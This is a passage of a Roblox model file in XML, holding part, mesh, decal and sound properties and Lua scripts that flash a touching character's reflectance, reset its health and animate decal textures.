part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


	end
	end

end

script.Parent.Touched:connect(onTouched)
</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX53">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">37uaea2t</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX54">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">eyhz</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Part" referent="RBX55">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-8.19999981</X>
						<Y>9.60000038</Y>
						<Z>33</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>-0</R02>
						<R10>-1</R10>
						<R11>-0</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>-0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">false</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Infected</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">9</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX56">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">w=.03
d=script.Parent.Decal
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX57">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">udcr5c0u3</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX58">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">w=.03
d=script.Parent.Decal2
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX59">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">iyfy2r</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Decal" referent="RBX60">
					<Properties>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX61">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">9sim</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Decal" referent="RBX62">
					<Properties>
						<token name="Face">4</token>
						<string name="Name">Decal2</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX63">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ejg7aef</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="BlockMesh" referent="RBX64">
					<Properties>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>0</Y>
							<Z>5</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX65">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">vh4np</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX66">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">function stick(x, y)
	weld = Instance.new(&quot;Weld&quot;) 

	weld.Part0 = x
	weld.Part1 = y

	local HitPos = x.Position

	local CJ = CFrame.new(HitPos) 
	local C0 = x.CFrame:inverse() *CJ 
	local C1 = y.CFrame:inverse() * CJ 

	weld.C0 = C0 
	weld.C1 = C1 
	
	weld.Parent = x
end

function onTouched(part)
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
	if h~=nil then
wait(0.001)h.Health = 100
children = h.Parent:children()

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(2)

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(1)


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


	end
	end

end

script.Parent.Touched:connect(onTouched)
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX67">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">37uaea2t</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX68">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">eyhz</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX69">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-8.5</X>
						<Y>12.1000004</Y>
						<Z>33.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">0</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>1</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="SpecialMesh" referent="RBX70">
					<Properties>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<Content name="MeshId"><null></null></Content>
						<token name="MeshType">3</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>2</X>
							<Y>2</Y>
							<Z>2</Z>
						</Vector3>
						<Content name="TextureId"><null></null></Content>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX71">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
